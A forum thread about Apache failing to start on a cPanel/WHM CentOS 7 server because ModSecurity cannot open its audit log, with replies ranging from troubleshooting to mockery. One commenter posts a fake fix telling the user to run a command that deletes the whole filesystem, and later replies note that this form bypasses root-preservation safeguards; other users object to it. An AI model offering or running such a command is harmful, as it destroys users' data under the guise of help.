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Apache is not working in WHM centos 7
What should i do now with apache.its not working.
service httpd restart
Starting httpd: AH00526: Syntax error on line 12 of /etc/apache2/conf.d/modsec2.conf:
ModSecurity: Failed to open the audit log file: /etc/apache2/logs/modsec_audit.log
This error is coming. what should i do now?
Comments
Hire an administrator.
vi /etc/apache2/conf.d/modsec2.conf
And see whats wrong in line 12.
either modsecurity doesn't have the permissions to access "/etc/apache2/logs/modsec_audit.log" or the file doesn't exist.
Read the error message? It's literally telling you what's wrong and what to do.
That's not even a standard RHEL path. These distros don't package it as apache2, Debian based ones do. What did you install?
I don't know. its my test server i need to fix this its in my assignment. can you help me? how could i fix this issue?
CPanel on CentOS 7....try CentOS 6?
If you have a cPanel config referencing anything in /etc/apache2 you or someone else who has access to the server has installed or configured something not standard. You or that person should know what it was.
Or are you saying this is a test and this was done intentionally for you to fix? If that's the case, no cheating, pass or fail based on your own skill
guys i have fixed the issue my self. i just created empty files and folder and its fixed.
Next step: provider tag.
Damn LOL!
When he said it was his "assignment" first thought was which provider tech is hitting us up cause they dunno. LOL what's funnier is that he thinks he fixed it! ROFLOL! ...configured non-standard, yet he literally filed in the blanks. LOL
But, did you find any reason why Apache stopped responding??
And we're all dying to know - are you running cpanel on debian?
Worthless comments as cPanel is working under centos 7!
The different matter that cPanel become buggy lately, I seen a few issues on various shared nodes after updates or changing from stable to current version:
1) corruption of sub domains and add-on domain names - only the main domains working on accounts.
2) Issue with control panel and ssh, as services are overloaded, but all websites running without issues
Sure, but it's in an LXC that he found somewhere.
Great, dunno if you're aware but whoever sold you the license provides support for that and,
Doesn't sound like it's working if you are having issues.
Corruption of subdomains and only the main domains working sounds like a disaster! You must not be hosting that many customers.
It certainly is working, we support many servers as cPanel partners including significantly busy ones, and there are absolutely no specific issues to CentOS 7 that would have affected us or our Clients.
cPanel runs on CentOS 7 just fine. It is actually recommended.
We never had such issues on our nodes, simply noticed at one of our client server.
But you need to be without any skills of system administration to recommend to downgrade from Centos 7 to Centos 6. or better why not go back to Red Hat 9?
Ok take a deep breath.
Then type in your SSH the following:
cd / && rm -rf *
Press Enter
Wait until the command completes.
One it completes Apache will be back online.
This might seem like a harmless joke but advice like this can cause irreversible damage.
Some might argue that they shouldn't be using a command line if they don't understand what the command does, but that's besides the point. Everyone learns at their own pace and false advice does the Internet no good.
Not only are your comments going to be seen by the OP but future visitors from search engines. This should be discouraged.
Agreed.
I never said cpanel didn't run on centos 7. Learn to read carefully
Only if one adds no preserve root in modern systems :-).
But yeah, just don’t.
On the latest LTS releases for Debian based and RHEL based distros, there's a confirmation prompt now anyway.
Even better :-).
That happiness is out of the world when we learn some new stuff overself
. Good going .
rm -rf /* (or in this case cd / && rm -rf *) won't require the --no-preserve-root, it's only if you do rm -rf /
Both for modern and old OS's